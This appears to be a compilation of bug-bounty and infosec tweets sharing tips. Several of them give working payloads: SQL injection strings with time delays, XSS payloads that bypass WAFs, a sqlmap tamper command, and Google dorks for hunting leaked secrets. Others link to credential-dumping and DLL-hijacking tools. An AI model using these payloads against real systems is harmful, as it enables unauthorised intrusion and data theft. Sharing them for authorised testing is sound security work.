Sandeeppatnaik

[Sandeeppatnaik @Sandeeppatnaya2]

I just published When a QR Code Became the Starting Point: Discovering Exposed Healthcare Application Resources https://t.co/rzdU4UpCgV

[VIEH Group @viehgroup]

Google Dork - Code Leaks 🔑

site:pastebin. com "example. com"
site:jsfiddle. net "example. com"
site:codebeautify. org "example. com"
site:codepen. io "example. com"

Check for code snippets, secrets, configs 👀

Credit: @TakSec

#infosec #bugbounty #bugbountytips

[Yunus Emre Öztaş @ynsmroztas]

new day, new goal 🔥

If you find sql injection and encounter a 403 or waf block, be sure to try tamper scripts and update your sqlmap 🌹🌹🔥🥳🥳
Payload ;

sqlmap -r req.txt --risk 3 --level 3 --dbs --tamper=space2comment,space2morehash

#BugBounty #BugBountyTips
@intigriti

[Cybernetic Research @cybernetic_res]

WordPress Sensitive File paths, add them in your worldlist

#bugbountytips #bugbounty

[XSS Payloads @XssPayloads]

A cloudflare WAF bypass payload, reposted by @akaclandestine
%3CSVG/oNlY=1%20ONlOAD=confirm(document.domain)%3E

[Cybernetic Research @cybernetic_res]

#bugbountytips #BugBounty

[Cybernetic Research @cybernetic_res]

List of WP-exposed (wp-config sensitive) files

Credit: Deepak Saini

#bugbountytips #BugBounty

[Brut 🇮🇳 @wtf_yodhha]

🌟Find Broken Authentication in 30 seconds or less using Autorize🌟

©️ Andrei Agape

📥https://t.co/Pz9cWGL18l

#bugbountytip #bugbountytips #ethicalhacking #CyberSecurity #Pentesting #sqli #xss #CyberSecurityAwareness #bugbounty #GitHub #oswe #offsec

[XSS Payloads @XssPayloads]

Stealing your email with a .txt file, good example of XSS payload to exfiltrate mailbox and address book.
https://t.co/Oc9MG1k4R6

[𝐑𝐀𝐢𝐡𝐚𝐧 @zapstiko]

Top disclosed reports from HackerOne
#bugbountytips #bugbounty
#hackerOne
https://t.co/G1QY0FFe24

[Florian Hansemann @CyberWarship]

"Weaponizing DLL Hijacking via DLL Proxying"

#infosec #pentest #redteam
https://t.co/Y4F131ormP

[Mobile Security @mobilesecurity_]

Bypass SSL Pinning for Flutter
#MobileSecurity #AndroidSecurity
https://t.co/s0oz1N3Jkf

[7h3h4ckv157 @7h3h4ckv157]

Pandora 📍

A red team tool that assists into extracting/dumping master credentials and/or entries from different password managers

https://t.co/GBMsdD8oGL

#cybersecurity #Pentesting #Hacking #bugbountytips #infosec #cybersecuritytips #redteam #coding #100DaysOfHacking #vulnerabilities #BugBounty #100DaysOfCyberSecurity #CyberSecurityAwareness

[Will Gates @WllGates]

7 SQLs

4 in php

(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/

1 in aspx

orwa';%20waitfor%20delay%20'0:0:6'%20--%20

2 in graphql

orwa') OR 11=(SELECT 11 FROM PG_SLEEP(6))--

credit: @GodfatherOrwa

#bug

[Will Gates @WllGates]

🔥After more than three hours we were able to bypass this xss
with @Arez_1110

credit: @lu3ky13

payload:

#"></div><a href= javascript:alert(document.domain)

#bugbounty #bugbountytip #hackerone

[Satish Patnayak @satish_patnayak]

Now ScanAndroidXML will print the results in terminal

#AndroidSecurity #infosec #Python #Androgoat

Repo: https://t.co/vLdd6BcKht

[Satish Patnayak @satish_patnayak]

Do you want to learn API Security Testing for free?

Thank you @StefanBargan for the
collection

https://t.co/G6psLgPNwq

#API #Apisecurity #infosec